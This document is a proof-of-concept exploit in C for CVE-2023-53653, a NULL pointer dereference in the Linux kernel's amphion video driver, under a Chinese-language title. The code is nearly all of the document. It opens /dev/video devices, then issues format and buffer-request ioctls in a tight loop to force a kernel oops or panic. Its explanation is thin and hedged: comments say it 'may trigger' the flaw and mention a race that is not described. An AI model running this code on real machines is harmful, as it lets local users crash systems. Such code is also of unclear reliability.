CVE-2023-53653 Linux内核media/amphion驱动空指针解引用漏洞

/* * CVE-2023-53653 PoC - Linux Kernel amphion driver NULL pointer dereference * This PoC triggers the NULL pointer dereference in the amphion VPU driver * by attempting to perform operations on a NULL codec instance pointer. * * Note: This requires local access with low privileges and access to the * /dev/video* device files (typically accessible to users in the 'video' group). */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <linux/videodev2.h> int main(int argc, char *argv[]) { int fd; struct v4l2_format fmt; struct v4l2_requestbuffers req; char device[64]; /* Try to open the amphion VPU device */ snprintf(device, sizeof(device), "/dev/video0"); fd = open(device, O_RDWR); if (fd < 0) { fprintf(stderr, "Cannot open %s. Make sure amphion driver is loaded.\n", device); /* Try other video devices */ for (int i = 1; i < 10; i++) { snprintf(device, sizeof(device), "/dev/video%d", i); fd = open(device, O_RDWR); if (fd >= 0) break; } if (fd < 0) { fprintf(stderr, "No VPU device found.\n"); return 1; } } printf("Opened device: %s\n", device); /* Step 1: Set format to trigger codec initialization path */ memset(&fmt, 0, sizeof(fmt)); fmt.type = V4L2_BUF_TYPE_VIDEO_OUTPUT; fmt.fmt.pix.width = 1920; fmt.fmt.pix.height = 1080; fmt.fmt.pix.pixelformat = V4L2_PIX_FMT_H264; fmt.fmt.pix.field = V4L2_FIELD_NONE; if (ioctl(fd, VIDIOC_S_FMT, &fmt) < 0) { perror("VIDIOC_S_FMT"); } /* Step 2: Request buffers - this may trigger the NULL pointer dereference * when the driver attempts to access an uninitialized codec instance */ memset(&req, 0, sizeof(req)); req.count = 1; req.type = V4L2_BUF_TYPE_VIDEO_OUTPUT; req.memory = V4L2_MEMORY_MMAP; if (ioctl(fd, VIDIOC_REQBUFS, &req) < 0) { perror("VIDIOC_REQBUFS"); } /* Step 3: Trigger the vulnerable code path by attempting operations * that will cause the driver to dereference a NULL pointer */ /* Rapidly issue ioctl calls to increase likelihood of triggering the race */ for (int i = 0; i < 100; i++) { ioctl(fd, VIDIOC_S_FMT, &fmt); ioctl(fd, VIDIOC_REQBUFS, &req); } close(fd); printf("PoC execution completed. Check dmesg for kernel oops/panic.\n"); return 0; }